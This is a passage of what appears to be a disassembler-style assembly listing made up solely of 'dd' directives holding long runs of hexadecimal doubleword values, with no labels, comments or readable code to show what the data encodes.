0C125EB35h, 4F13F8C6h, 0B04DF808h, 4FDC2DFAh, 0D831BB2Bh dd 3EA56EE6h, 0B0E3E59h, 51688231h, 6AE9010Dh, 70BE2AFDh dd 508E89Bh, 0F144E40Ch, 0BCB0A0Eh, 0EA81F094h, 225329FDh dd 1A86A0B6h, 0F7583A57h, 1C2787ECh, 0A443FB6Ch, 1FC30CC8h dd 107EA19h, 0C17E4C63h, 0BC09956Ah, 88147DC2h, 197BBF8h dd 17A368DBh, 64316188h, 41B2BF01h, 412F4624h, 1351034Bh dd 0F429202Ch, 0CEF4345Bh, 0EC5F130Ah, 0DAF4AA7Ch, 68561D51h dd 44CF0F23h, 0EB8B8985h, 76F60A32h, 272A2C51h, 217FED4h dd 6B452E01h, 0BF3B57DDh, 0C5DC7743h, 0C0EEECF0h, 0E9CF0121h dd 9B977B73h, 746BC987h, 72CC492Ah, 0D3C38D8h, 2C33381Dh dd 840B7835h, 90CD5843h, 2D8C4054h, 3F49110Fh, 565A4942h dd 0B87FC740h, 0F7D1290Bh, 7C287710h, 0C250F4B4h, 8B1D2F5Ch dd 55271FFCh, 57018D07h, 0D761A4E9h, 0A3D262ADh, 0B01CAEA0h dd 31176A69h, 0CF525FFDh, 0B5405BA8h, 7A2003D0h, 72D4E97Bh dd 0A2E7ED24h, 75F34212h, 0B4413913h, 66A105E4h, 43CB7E5Ah dd 455FC269h, 22FC2D8Eh, 0F4072A42h, 0DC107288h, 0C49F08D9h dd 25FEBCAEh, 0F2021FFEh, 0E1D58883h, 38FCEAB9h, 120FB9D7h dd 0DB52FEEBh, 6A186CC2h, 6340DF5Dh, 9B0B7BEAh, 9D78962h dd 806460A0h, 29B078F1h, 80F61757h, 8520D3B9h, 31FD4123h dd 0C51CA585h, 6013A808h, 68C71F15h, 0AEA1ACADh, 0E92FC2h dd 0C866E712h, 89255631h, 97D0F8FEh, 3793BAD3h, 3C88A0F9h dd 0B15B2B4Ch, 3196A2A1h, 6CC0B450h, 0C58000AEh, 0DDF62E01h dd 58AF3E0Ah, 0C71D955Eh, 2EFC047h, 0E912DFE5h, 0D6F76A47h dd 6C954F72h, 9559F20Ch, 270BB2E4h, 1574D08h, 2E380BEFh dd 5B46002Eh, 0E9DC8CEFh, 12103A49h, 10A885Ch, 84C9FD01h dd 0A1AC590Ch, 3B60C29Ch, 4FC01CCCh, 0C93E509Ah, 0EE93F77h dd 0AA1FF91Ah, 0F789AB2Dh, 48EC0AD1h, 5705C9A7h, 25689E34h dd 38E50A11h, 68E3F92Dh, 0D60E0BC5h, 493B5268h, 29637009h dd 81008FEh, 5FE0E904h, 89BBE9AAh, 0AE677701h, 588DB1A7h dd 99E4A654h, 0CA2D59DBh, 4A227104h, 0F571B06Fh, 1278760Bh dd 0CECBFD20h, 0A01454A9h, 802FCC3Fh, 476720B1h, 481E1719h dd 0A6647F09h, 0DA3103E1h, 0D7682043h, 0F3B95795h, 0DE8C3B02h dd 0EF825AC9h, 0CCB31667h, 0D9172E79h, 41083032h, 0FB0BC981h dd 747CC522h, 302D0024h, 1CF9E970h, 0D9B009B2h, 2F27A720h dd 0E070B9BAh, 245CF6B5h, 0C3E1DD5h, 0C5F60110h, 685A08A0h dd 84A93369h, 83ADDD4Dh, 7320D8D0h, 25217CBFh, 54C9D2E5h dd 234DE2C4h, 5DA8127Dh, 5DF4BB64h, 0CA7AE389h, 32E41056h dd 0EBF58000h, 0D059EC28h, 535090E7h, 6BBE6809h, 0B80C0F46h dd 5E562542h, 352B4177h, 48B12AB2h, 7F70F37Fh, 0C492774Dh dd 0F5BF5759h, 0F8DC8218h, 54B3B97Ch, 8078BAD2h, 0A598F701h dd 5B204A4Bh, 3B83BD55h, 5A7F7D74h, 0E9D890DDh, 53DF93EAh dd 18EFB300h, 58F901A3h, 0CE12175Fh, 0EBAF543Eh, 0E38CF38h dd 0F75A8A62h, 2D70FB55h, 388014D7h, 0BE4B5606h, 5FE944D8h dd 2987F983h, 0EDACD481h, 72F30717h, 0FA12D913h, 1AFAC831h dd 859AA26Ah, 76EB2325h, 10FCFB93h, 45845716h, 8E0545B8h dd 17C5665h, 372A73C9h, 0C2E26AD1h, 9584B1C5h, 9A94FE94h dd 0E5118B16h, 130A5698h, 68F859CEh, 22203DE1h, 985004D3h dd 9CC0FD53h, 587E691Fh, 8A60D008h, 749D6CBBh, 0FC640504h dd 80AE93E0h, 0D8315A81h, 232B8FBDh, 61BB616h, 8B0523C6h dd 9539580Eh, 31158920h, 0E98610D6h, 7AC96571h, 3F05E1B2h dd 90B13107h, 0D259CB03h, 352648ADh, 8A431DCEh, 53BF431Dh dd 98D00B9Bh, 0BD5A66E2h, 0C8A1F312h, 607628C4h, 743D0C06h dd 29257FADh, 3ED478E9h, 698046F8h, 2C32C5B8h, 0E82D3116h dd 2D60725Dh, 0D75209A4h, 0AF25B47Bh, 0BE65DF22h, 7B413580h dd 0AE50936Ah, 68580A0Fh, 0C2D716B9h, 0B0D9418Dh, 1E85449h dd 4CB43EB1h, 21F87F28h, 26D4F6C7h, 530708DCh, 0F3805AB3h dd 5BA52847h, 0F97CE0FBh, 2F5F2CECh, 0A474EEA8h, 0E08EF021h dd 0B65200D8h, 8EEC0A1h, 7A0BF680h, 1047D5E9h, 27740C15h dd 487439C9h, 2B1B9289h, 10B35CD5h, 575A0423h, 8094B068h dd 9D77182h, 30337877h, 0D911F905h, 0F4022D5Bh, 1630A30h dd 210442C8h, 595AD008h, 5C45E020h, 3494DE6Dh, 9B4CEE02h dd 5E774069h, 25350142h, 962CC966h, 0D65D0FB4h, 5339FE89h dd 8DF8270Eh, 4F70875Ah, 0E4DA8852h, 4BCEB0D0h, 35D9AE5Eh dd 0FA7E247Fh, 9825F7A8h, 1CBBD940h, 1484D699h, 24EE4619h dd 8B0804ECh, 681BD303h, 4CD57FE2h, 3FE9157Dh, 0C53BA764h dd 2907D792h, 5076EC05h, 28EE17C0h, 0F7A03D89h, 22778F2h dd 8E2447B0h, 0E684522Ch, 4FC0FFB8h, 58081BC6h, 4612AAF0h dd 3F2BEE5h, 9842BF93h, 0D67D516Bh, 0B067C571h, 81045849h dd 15B2C2F1h, 8C06D5C1h, 3BBF6800h, 2F37EFB5h, 0F4C55F7Ch dd 522F70F1h, 9DFBE722h, 0CDB2AB56h, 0D2E5C04h, 0C420AA5Ah dd 3F3A76B7h, 0E7934765h, 8561E002h, 75A88E2Fh, 0E916FD16h dd 8D24BDB6h, 1F2A3AAh, 345278C3h, 88DA010Ch, 0E22608E1h dd 0DC414111h, 134B2E3Ah, 9E20345Eh, 4F921D73h, 0E214C719h dd 82096A53h, 0C62E0D45h, 0A6DCB7A7h, 0DD762989h, 13D226B3h dd 594C7370h, 8DE24F95h, 5457E9A1h, 1216A9D1h, 0D2CC21A5h dd 110362C9h, 9FD5EF2h, 0C0E7D55Bh, 561060A6h, 11A0BA00h dd 0D1B94B52h, 98874614h, 41B80ED3h, 7E292F50h, 5F08E914h dd 0C25A829h, 55B1E407h, 6F3D91h, 4EF2D1Ah, 0CA9620E5h dd 40EB0720h, 3096E914h, 52642B9Dh, 4A1B9838h, 0BFFE1327h dd 7C5413DFh, 65791A75h, 32F2AA52h, 0E1D14113h, 5FE53BFh dd 0A8F35843h, 0ACFB2E65h, 7701DF0Bh, 688BC0E5h, 39A4FD69h dd 666EF1CDh, 7A68092Eh, 80019A05h, 0F849CE0Eh, 56BB043Dh dd 85C207B6h, 0BE4FD46h, 5BE20FE9h, 0B5AB2093h, 2583709h dd 0D878F1B5h, 4054BBE9h, 5C04F59Eh, 3111C975h, 0DA388AAh dd 80FD5B4Ch, 33BA773Fh, 0B7DA9831h, 50422F5Eh, 0A787CB57h dd 90914B76h, 0B19E014h, 0CE89B9D5h, 3DC28BF9h, 803005DAh dd 1DB551ADh, 5EF58016h, 6D71850Ah, 72685060h, 49349B1Eh dd 8C76C9FEh, 22E630A2h, 39E4EEB5h, 7D50F524h, 35308305h dd 10EFEE85h, 5E240857h, 0D454E9AEh, 9C3A5571h, 0D3675CA4h dd 0D44E9B6h, 72CBF5D2h, 4F093020h, 4B450F1h, 240A8858h dd 96AFF4E2h, 9309176h, 0A4EE3E7Ch, 33E88324h, 0F9759009h dd 0A48EEA09h, 2790E2CCh, 15CE10DFh, 66732F67h, 1C62A7F6h dd 7AD65DA5h, 2069F15Bh, 0A740B939h, 0F1B802F2h, 5EF08993h dd 785562D5h, 3540001Ch, 2794309Fh, 832CE948h, 7EA6B349h dd 7E26322Ch, 0B2C7F381h, 0DB61695Ah, 0DF2CACF4h, 0C5DC25EDh dd 4F18E4BFh, 0FB2D30AEh, 20E50871h, 2913B185h, 2AB42EB0h dd 61FD7687h, 0E66808D7h, 61316F0Dh, 0B0052A4Bh, 4F7FE84h dd 3687981h, 0C6F3F5C2h, 0A614D082h, 43F8F51Dh, 0C706E16Eh dd 0E5934903h, 0BA2A4B36h, 2AD42E93h, 2CAA5A55h, 0BA75453h dd 8A5EB6EAh, 0DCB5C272h, 0C0CC2502h, 0CC97A297h, 0E662AB1Fh dd 2FF3B3E9h, 0E5A77BD4h dd 8252E428h, 0C7DBE58Eh, 372F0A7h, 53525BBFh, 0BB95C788h dd 95BF6B64h, 5AEB0EE4h, 35E1FB52h, 76E568C8h, 0E9C9C57Fh dd 0D5AA5F17h, 548A5E8Bh, 49394B2Ah, 43FF68CFh, 1B522712h dd 0E9F01272h, 0BED0C0C3h, 333D3E8Ch, 73F7241Fh, 4AB0FDA5h dd 0D8823B1Ah, 0AC350B38h, 9A58013Dh, 5BD97D49h, 0A83AC9E1h dd 0DD5F2FFBh, 0E9179694h, 8D44AB3Eh, 0BB52782Eh, 546EF0A0h dd 1FF7BA36h, 7D8F7AE2h, 0B9271896h, 0D84D89C6h, 4CC59805h dd 4400C356h, 6835CF3Bh, 2BAA62BDh, 6F30D680h, 0BAFA1995h dd 91F9D717h, 0AFF405AEh, 97EDA390h, 0EFA040AAh, 1185E901h dd 252A9697h, 75E6A268h, 1A5DB801h, 592D4F4Bh, 21E90B86h dd 0C25A6718h, 949010EBh, 9F1CEA5Ah, 36CF02AFh, 98FCEC57h dd 46812DD6h, 7F3D4B5Bh, 0C4789148h, 65A073B6h, 0FE741DEEh dd 36CE4FC6h, 327BFC1Eh, 950619EBh, 0AE864BFFh, 3771F706h dd 147DFB2Ah, 0EF14243Bh, 0BD5E6CCAh, 96BC4FDEh, 9E15D281h dd 92D36B63h, 6800D4B9h, 82D5E9Ah, 89CFAFBEh, 9C79DDDCh dd 0C8186A80h, 0D7DAF746h, 2700EB04h, 5C3F4450h, 0ADFE9F2Dh dd 4347E906h, 0BC094A5Ch, 0F7F60248h, 55405F1Dh, 3D9B69E0h dd 51FE5781h, 0BD2D4073h, 5448B80Ah, 573C7B69h, 51198B55h dd 590B5560h, 34D58492h, 0DEE92715h, 0B54091E2h, 0F197B2EAh dd 0B5566969h, 0E4FDA7E2h, 7197061Fh, 364350C8h, 0DB49F10Ch dd 177B0C67h, 0E8475C44h, 73ED4AD0h, 329FAB1h, 0AA521D5Dh dd 0E285F3Fh, 241C0EFDh, 0A2542E2h, 0A25AD8DCh, 1F4D40h dd 0F52092B6h, 0C59FC097h, 0B1EBEE68h, 0D3DE6FE3h, 9890EB79h dd 3D1E73B9h, 0DC126AC2h, 0D57A2035h, 544B8447h, 52D172BEh dd 8957D1DDh, 0C8F888E9h, 4EF93139h, 83E094BBh, 534BDC0Dh dd 0C27E5FFAh, 52BE68DEh, 0CE0CC24Ch, 0D20B320Ah, 45BDBCBAh dd 0B338C759h, 0C1195314h, 680665EEh, 1D947A90h, 9ACB7EB4h dd 131C94B5h, 0B3703068h, 61D434EBh, 0EF92EDA6h, 589D88B3h dd 96F661B6h, 0BE8A9C13h, 0F877B0AFh, 0A0887998h, 0EC50EA80h dd 0C91DB0E0h, 589EC208h, 886CF2C1h, 89705AD1h, 6FE912FBh dd 0EAB5491Ch, 0B579187Dh, 62DDFE11h, 60DEC544h, 0A959490Fh dd 0EC09DFABh, 0A7764907h, 32C8DBBBh, 5080A967h, 0C3F2E557h dd 0CE97143Ch, 0C93D9D8Ch, 0CD2FE798h, 5F0E10E3h, 5C683ACAh dd 4B9469F7h, 0CB93580Bh, 0D20BEA9Ah, 9E5F975Dh, 84214F44h dd 778BAA2Ah, 7A88B72Fh, 303709A8h, 72972464h, 0E2F5EB63h dd 0AC2E1B6Ch, 7E542D3Bh, 0ADE47CA5h, 4EAE9E6Dh, 87448944h dd 0F4590B46h, 0F0680E3Eh, 1168EEB7h, 0F8464BDCh, 3EE9A50Fh dd 992CB441h, 16E9BC7Ah, 0FCFAA429h, 5A52BB40h, 0D2C95FBAh dd 0A8F7ABD1h, 0F7735D2Dh, 31BEB393h, 0D754A07Eh, 62F381D8h dd 2E5F4C00h, 4398C2BAh, 9260B76Bh, 5A4AD021h, 0B276D5A9h dd 580BBDAEh, 5EFA9677h, 811900ECh, 7C2EE1CFh, 27E4424Bh dd 0A76902F7h, 0FE091139h, 0AA2C057h, 5C27050Ch, 8202E3C1h dd 470A24A8h, 65EF1012h, 6E1D0905h, 0AF8234D9h, 5F31A31Ch dd 9800C153h, 0E917E030h, 12E5BC69h, 0A47FA866h, 5840382h dd 0A93DEA5Ch, 106AFD6Bh, 51280794h, 0F1AE5AC3h, 0F6942D18h dd 1C7CB774h, 0FA30AB68h, 9E4B09ADh, 0F657039Dh, 0FBFFFFB4h dd 0FC9FDF9Ch, 316152D7h, 0AD463412h, 4E4A1DECh, 0C6806BB2h dd 18134156h, 0AE0F2898h, 80017D50h, 84578ACEh, 0F8E91319h dd 0F288BC44h, 29AE683Fh, 0AB459DC8h, 0B9F91D93h, 31DA6786h dd 9893709Dh, 6BEC0CFDh, 5B7602A3h, 0D69595E2h, 0BE80B9D3h dd 0E9E1EAADh, 3CC9AC7Ah, 2AFF35Fh, 47863E05h, 0A04E80DFh dd 160DC40Ch, 0E971F1E9h, 0C241270Eh, 6001D985h, 4D442F68h dd 0E91359E8h, 0F6F2A3F9h, 0BB9A7A84h, 522B848Ch, 0A9482239h dd 0F2E9521Ch, 0CEB053F1h, 0CFFCE8B2h, 560A3BBAh, 917C3E68h dd 30EF2F93h, 0F6A2E99Fh, 4BDF109Dh, 0F06A5EDEh, 0D39AF594h dd 97C9CB7Dh, 2151A05Dh, 2255EF0h, 5C60126h, 45DE0C1h dd 27FF3129h, 56D882D5h, 55586BC6h, 9F844EC1h, 0E17DA8FBh dd 546B0629h, 0F91E4F97h, 8B5DED81h, 0A8D2D954h, 7F4B814h dd 981B63BFh, 2635A34Ah, 28F1B71Eh, 0D7594B89h, 93D01320h dd 41BFB6AFh, 883B423Bh, 0C49D5259h, 5B5148B2h, 0D6F75EA0h dd 55E1169Dh, 2D30A6EFh, 0D3F7800Ch, 0CB0990B8h, 2C16069h dd 0F173210Ch, 249809B0h, 5E82E071h, 4061D653h, 245C55BCh dd 3C5762D3h, 9F08EB28h, 30671C8h, 0C29BB69Fh, 7295E90Ch dd 7B625254h, 0AD46452Eh, 0A8684325h, 71BA4A55h, 6416E94Eh dd 0BF132D98h, 3509A460h, 265DF01Bh, 0EE95F55h, 0D3DD0DE7h dd 0D13C0134h, 3B2D8A06h, 17E90AC0h, 207D979Ch, 5B42044Bh dd 0A055950Ah, 0EC957B1Fh, 4ACAA90Dh, 0FF03EA11h, 3651EB98h dd 0DA186366h, 62B0942h, 0E9D6559Bh, 0D7209F0Bh, 7C245015h dd 62D3DC2Dh, 0FE7612C2h, 2DF6C6DAh, 0DB83DEE9h, 80045F54h dd 2AFC1407h, 85032882h, 0E1AAC706h, 405E9731h, 0A407D3B9h dd 0B2121A28h, 0EB0804F2h, 0EFD2CC03h, 105ED980h, 96BBA37Ah dd 0DDA2DFA8h, 0C3CFE957h, 0A3A4AD2Bh, 0EDAFD47Dh, 2769D1D0h dd 43EC55D2h, 0F991544Fh, 4D89432Dh, 308253E5h, 29023815h dd 490EEEEBh, 680B3066h, 83EC27AEh, 0C108B390h, 37F1F12h dd 71FC7515h, 7D27E6B0h, 649902Ch, 8F4EAE00h, 0BDDEF74Dh dd 0E989CA79h, 68A0A1F6h, 158966E1h, 155E5017h, 209E4C7Ah dd 455AFD57h, 43681642h, 9724C2Ch, 749F3259h, 702D775Eh dd 8EB179Dh, 823F014Bh, 47579B07h, 87B070B6h, 0DD4E29AAh dd 0EF3DD7AFh, 50E33112h, 80F16AB4h, 6AE3F5h, 28E6B5EAh dd 569759EBh, 0D8B47827h, 0A57CFB9Fh, 254F36DDh, 0DDA0B6E9h dd 65E017C6h, 9EB524Fh, 0E281DF78h, 0EEF83608h, 0E07D458h dd 29FCE72Fh, 483AE9F1h, 71B1548Bh, 0F52D70F6h, 0FC51A9B9h dd 0E148C019h, 0D65F2518h, 9D4C2A1Fh, 82DB9BF4h, 488683C3h dd 9930AB80h, 0D72F1EEBh, 0EE105D77h, 7D696FD4h, 2909FBD3h dd 67C4D03h, 20E643E9h, 0DEE05B5Fh, 1E597FF8h, 5E972C15h dd 520F7AC8h, 0BE57B050h, 2E862305h, 5FC9EEA8h, 2781CD00h dd 35353299h, 0B2EA0B85h, 3E90B37h, 0C31968EDh, 0D3BE8022h dd 6658D798h, 0E741A65h, 112A41ABh, 49A4CB55h, 22F50681h dd 0C23AA310h, 1967931Eh, 5EEA29C9h, 0E9F258F0h, 44F8BB30h dd 325943B8h, 2C661C3Ah, 25235F6h, 5195C0E5h, 55B3019Fh dd 0C118C180h, 0D62E31D9h, 0A3C89285h, 665203FAh, 4D655C68h dd 8A5EB520h, 0A305B35h, 0D64275E9h, 749BA428h, 2DB80516h dd 6EBCD153h, 1079A1h, 934FBF68h, 619302BAh, 82606D7Bh dd 0AB3B0E7Dh, 0C2E3032Fh, 36DF4Dh, 67DDF818h, 0BF08E9B8h dd 417B4C9Dh, 72A83089h, 0EF188A82h, 3FC6973Ch, 0BDB530EFh dd 7A276EBAh, 82DC2Ch, 0E3CD814Dh, 104EFF3Ah, 0EAE93980h dd 0E92FE12Bh, 0A975CBD3h, 0F0F37F2Ch, 0C229DFEBh, 0BB74D1D5h dd 0AEE8E0DBh, 66066A16h, 7BB10FBh, 0C4E95E04h, 0B02F8835h dd 0E3D015Fh, 662A7429h, 97494D6h, 26F0FCE9h, 77A5C993h dd 0BB5C366Ch, 0C83984ABh, 1652B2EEh, 12FB5B70h, 0EBF917FDh dd 0EF2FFE2Dh, 0ACBC6464h, 578DFFD2h, 27216A61h, 0A92F6A61h dd 0DB247ABDh, 0C88B501Dh, 0EF0FD559h, 16E7D566h, 0D32D9536h dd 0BD5C9F0Ch, 0B419F501h dd 0FCDC13B0h, 12EE2540h, 7825A58h, 681B215Fh, 0E90169E2h dd 2F512565h, 75D804ADh, 43944E87h, 0B4DF0549h, 0BF2D04A0h dd 193DE7F4h, 0DEC50C41h, 0D707892Ch, 0E42EEB56h, 53BB093h dd 0F30E3801h, 2DD00103h, 67BA0744h, 6355C96Fh, 0AA464AD7h dd 35E9E302h, 787D91Eh, 0B420478Fh, 0B313FE4Bh, 5D4806B6h dd 3E7F417Ch, 995D301h, 0B52E030Bh, 40805BBh, 12560228h dd 3821A2BEh, 0D77C4184h, 0F7825C53h, 956268F9h, 63642156h dd 0AD03CEE8h, 0DC591005h, 471950DFh, 57F44E2Dh, 80FB452Ch dd 49E9D804h, 0C24B19BDh, 8BD0F4ABh, 0E53525FFh, 1209F370h dd 5C55515Dh, 0BD0B1648h, 6EE50379h, 0B014D532h, 302CEBEDh dd 20C6AE1h, 9485706h, 350179DDh, 0BAE93E83h, 277BFF19h dd 0CEA94939h, 0BD30BFF0h, 2B91EA7h, 38261A6Dh, 72401A49h dd 5137336h, 8FADE954h, 5F486809h, 51881B51h, 0EBBA122Dh dd 0D6291081h, 416A59F1h, 88A0C65Ah, 0CB9BFFF1h, 0CC6982E5h dd 84826FC2h, 296E249Fh, 527ACAC0h, 63E93BADh, 5B7197Ch dd 0C480B2D1h, 0FE3F9FF2h, 3C4498CAh, 39A8F135h, 8ACC905Bh dd 0CC05EB4Bh, 0C8AFCB29h, 0F6FC461Bh, 89CD0809h, 0F14E81B6h dd 35217043h, 0F37F55F5h, 14C812EAh, 13F4A90h, 290B256Ah dd 0ACA6655Dh, 68030289h, 6DF5272Ah, 68602DEBh, 20121E85h dd 8FA5E29h, 67004E14h, 0E976A3BCh, 76DE9AE7h, 3DEC2653h dd 0E8C196B2h, 0DCF74FEAh, 0B5271650h, 522A394Fh, 1D90720h dd 555D6851h, 6E597549h, 0B3E0CF0h, 0A3E94DB6h, 48BAA970h dd 1307A73h, 0B2CEA439h, 659270Fh, 0B5C64E55h, 5CA736F1h dd 0E6D10970h, 250F5C70h, 56238A61h, 54D75FAh, 6505697Eh dd 0F48ABE5Fh, 0E2CE5C26h, 0F527ACC6h, 12E2E4F3h, 425DEBE8h dd 73C53483h, 0D03AB1FEh, 96975B08h, 846F5E06h, 4E31EFD9h dd 0B900CBCEh, 0B3013B78h, 0FE13BD6Eh, 0D4FC011Eh, 0EB1ED292h dd 0A560E929h, 0B8DD582Ch, 0AEEEC627h, 8933089Fh, 0FD9DE420h dd 64BD0C9Ch, 393C44CDh, 0A295FE71h, 5D546845h, 828B50D1h dd 0A7F9D3ACh, 0E4C1075h, 2C5921Ah, 0EA0837F5h, 7E7B5159h dd 0D2F60104h, 7736AA92h, 47D7CF09h, 10CB247Eh, 7813B8Dh dd 0E7A3D050h, 0DA2053B2h, 683C122Dh, 8844EE66h, 0F1B95808h dd 3056B007h, 221AB2C7h, 0FDC3CE5Fh, 82962670h, 0A459D45Dh dd 0BDB10ECh, 455505Ah, 93E19DC3h, 0D3BD1080h, 0B809C42Ch dd 0FA4ADD0Ah, 83C2E85Ch, 95E10FBAh, 0E9B07AF0h, 0B4E581E0h dd 66E32851h, 626C4820h, 0FD7EB53Ch, 0B292BB8Ch, 58D1AF40h dd 761033E2h, 8ABA02F3h, 616528E8h, 21057CD0h, 6BB5482Ch dd 0FAE8DCD9h, 4964BC15h, 2180017Dh, 4B771C6Fh, 172CB848h dd 0A825BB45h, 0AD365B0Bh, 0C5B3E92Ch, 68504AACh, 0F31B972Dh dd 2F12A0C1h, 32591830h, 833A121Ah, 806F04EDh, 4168035Dh dd 580BA820h, 0D36F0935h, 9484F494h, 78CEEA21h, 0D96523Fh dd 0C60AB41Ch, 9C10703Dh, 0FF794E50h, 5BB6CA49h, 29B4DF4Bh dd 0C6895712h, 45A2AB75h, 0ED680500h, 71BE348h, 7C792CB3h dd 44AB26D5h, 12DE478Ch, 99B571AFh, 0AAE544FCh, 0D0F775C0h dd 4DD90F25h, 1CE566D5h, 0EFDC35C3h, 55199749h, 0F0AF9651h dd 0D6DE95D5h, 4A9CE970h, 2FEFCD81h, 67C7C2A4h, 72F1B902h dd 1C49D7F0h, 0F6912BCAh, 0DD51213Eh, 0FB78386Ah, 51F568B0h dd 0B40BDAACh, 47DD115h, 9B10BA6Dh, 2C05C150h, 3874C56h dd 7B699079h, 6EA3F8D9h, 4710BB8Ah, 0C9592F92h, 17A38DCh dd 7D27BE65h, 427520E4h, 71FE734Bh, 34611006h, 5B25D8F6h dd 5D8A7505h, 0C8F92FB8h, 0CDBB8EC5h, 99BFE05Bh, 0E32C0592h dd 0D702D907h, 0E943D1DDh, 17AE192h, 66AE04EFh, 0A484205Bh dd 0F07B1A41h, 0E6008130h, 6FC47E0Dh, 0BC6BA52h, 936B91Eh dd 609E27Eh, 65D5F6FCh, 415A89C2h, 6AC695E9h, 0B25B54B3h dd 89497EB7h, 90680ED3h, 0D6620977h, 0C40C27Fh, 2F08CC7Dh dd 17E67EEEh, 0EB0BA09Ch, 254F4572h, 549D4016h, 0B2124999h dd 127485Fh, 0B163B0FDh, 20242489h, 4390B7C8h, 0F6178205h dd 0F609FAB5h, 27587212h, 94F76735h, 4D31FAE7h, 8F08A74Fh dd 77243042h, 3D2C912Fh, 3F64D0CCh, 78AEDF21h, 1B49732h dd 0B658E1E2h, 3ACEC1F3h, 0FFF40EE8h, 3026352Bh, 0A3E0829h dd 4E93040Eh, 2CD80711h, 807CD149h, 0C5806AB5h, 0D55A86FFh dd 224C8EADh, 1C5F427h, 0B9A32526h, 0CAAA5E93h, 2399178Ah dd 224530FFh, 115BF24Ah, 37AAAE12h, 650ECCE5h, 0E82FDD02h dd 5D75EBE9h, 68C10251h, 4B3209F0h, 54778275h, 0A1004B1Ch dd 4A1C423Ah, 0EA7FE93Eh, 0D38CC423h, 0BEDD5C7h, 286210BDh dd 1BDE81D7h, 0F5217EBFh, 5A57B2E4h, 104DBD01h, 8826E1A5h dd 0EC62133Bh, 8DDE4F10h, 60D9EB4Eh, 814C5A30h, 0C0FF7052h dd 68391D1Fh, 46C6AF39h, 0C56A97E0h, 0D46CD3DCh, 0B750037h dd 0F79BE40h, 0F6BD0203h, 0BCF5253Dh, 0B066BF9Eh, 9C0E4D24h dd 2D5DE885h, 0A21271B2h, 9839FB82h, 12DFAC2Eh, 6402F9A3h dd 0D534875Ah, 43FE7D4Ch, 649D0B4Fh, 49424C30h, 0AC4A9B1Dh dd 0C07310D8h, 0C9E3811Fh, 0BBE04B45h, 0EE0B0192h, 0E3EB831Bh dd 15B5F95Ch, 0F4892442h, 0D2F292E0h, 0C9482C24h, 4400F6B9h dd 0EE819693h, 609C4622h, 73920C67h, 12C5563h, 8209BCEh dd 25140CD0h, 0BE095D59h, 76021B74h, 5A3D1877h, 74E4A03h dd 75C3580Ah, 68834520h, 54F610h, 39C3566Eh, 0C3A103E9h dd 0CE5EC6E5h, 53C845E2h, 0D782411Eh, 0EA45B7E2h, 7A593580h dd 0EB50CA16h, 0C0EBB23Fh, 886E69BFh, 0A0E9137Fh, 0EAC99001h dd 0D0B55C07h, 5EC228E0h, 946F4FB4h, 1608162Dh, 53B8C0B8h dd 22F0CF88h, 7548C2B5h, 0F7A55D71h, 35032718h, 2A2A1392h dd 0BD0BB92Fh, 58AAC231h, 0CDD2B7B4h, 2B2E68E6h, 0F9C23021h dd 0A7997F35h, 1787EC77h, 37EA5D4Ah, 2DB160D2h, 5CB7081Ah dd 0D4B70B66h, 0A13B4CDDh, 0C10088EAh, 810308E5h, 2FE666F5h dd 0B12F198h, 145E1764h, 9D2CB568h, 76B850C0h, 42120F13h dd 69B1DAE9h, 0C0D6A33Eh, 0D1685350h, 48427459h, 460495Bh dd 7974CB81h, 2E4EAF3Bh, 0EF0B07F3h, 887CF66Eh, 23FD57Ch dd 0E26B35F2h, 6FC2C00Dh, 34F3272Ch, 880E952h, 0FE97148Bh dd 366878CFh, 0F1BE1454h, 0BB5A1360h, 5A576417h, 55F813Eh dd 0DD2334h, 2FB15152h, 9D278A68h, 803C6718h, 0FE04ED7Ch dd 7E5C0CDh, 0F6B7FBC0h, 5AE925DDh, 0E3710D89h, 271B16B3h dd 68005444h, 18B40163h, 0A6CE8102h, 422EEC75h, 26878073h dd 24E94602h, 0AC72783Fh, 0EF4716AFh, 31685168h, 17DF1F4Ch dd 3D426D3Dh, 1924C1ACh, 5B544081h, 391D3058h, 2BB8CBFEh dd 0E9030661h, 64319216h, 1179E4FFh, 31144965h, 0A930E0FEh dd 818E2C4Ch, 2A1D1B17h, 38ADEC6Eh, 5A469375h, 7167384h dd 0BB534E60h, 8817289Fh, 0A6A820F3h, 0EB9CD1BDh, 0C34A63E6h dd 39F19EA4h, 58801893h, 7C4B6C05h, 0C828015Dh, 5905072Dh dd 6FE9E0D1h, 0E95B67ECh, 99FC5FE7h, 0E91673B6h, 8CAA6B65h dd 0EBC02DABh, 0A0C045F1h, 0CB012D08h, 0C3C2F956h, 1396FF02h dd 9F209E22h, 0E9093D6Fh, 0F2686B68h, 60467E75h, 431E60A0h dd 7BF75495h, 8DE98D0Bh, 3155E842h, 0D6FDE4EFh, 5ADFFC08h dd 80DA00F0h, 601914BAh, 631615C4h, 17DD0AD6h, 1E16EBC2h dd 16DF5FBCh, 827804BAh dd 0DDEC802Bh, 174C4E1Ah, 68177787h, 6E142D0h, 0C4D6EC3Fh dd 37B3FDDFh, 455F5725h, 947DAF02h, 0C19999Bh, 0B644024Fh dd 0FBB1BF04h, 40ECF130h, 0E987B2C0h, 1E96CFCBh, 81B4BFE3h dd 592072B5h, 83C69ECDh, 0D92C49C7h, 0FF5E5B82h, 2B15D2C1h dd 0FD41802Ah, 4467E248h, 0B9C1F90Ch, 0D72E4B57h, 9F4E617Dh dd 0A3203AA3h, 97B4F0E9h, 1811175Dh, 0B0E9FD5Ch, 5AAE8E49h dd 2F7953E8h, 6DCCA0E3h, 70E1C983h, 2B316F3Bh, 0DFC22F76h dd 0FD2735DBh, 0CE29A390h, 0A48C595Fh, 731325E9h, 8F465D5h dd 0C42D801h, 0D9020BB6h, 89669DF1h, 482A6812h, 0A8B64F30h dd 0D4F35130h, 6C477DC6h, 2D90988h, 0DD302FB5h, 37FFB40h dd 550FEABDh, 8B57B9CAh, 0CA66D73Fh, 34DA7F6h, 4F4817Ch dd 2D7C5747h, 0A07454Ch, 701A8C16h, 65D31CF8h, 2BF43507h dd 0EAA0449Bh, 957A7234h, 45603042h, 5E2801D4h, 0C301F57Fh dd 782651EDh, 2F2CF8E9h, 3AFD3327h, 1729AE4Ch, 1221C9A0h dd 82AFE9F8h, 64DF5A81h, 0C363E740h, 29BF0979h, 7D0CF9E9h dd 6E0F86BEh, 3F58038Fh, 52605E83h, 0E1E7F35Ah, 4281F037h dd 28368BC7h, 0E853014Dh, 3F7077C6h, 90171F25h, 2768521Eh dd 4FF67825h, 5CEE5D5Ah, 18090AB0h, 7715AE53h, 80A0142h dd 9D57A7A8h, 3888899Eh, 0F657A7EAh, 5A58017Bh, 0E92BF780h dd 50673C4Ch, 4141D822h, 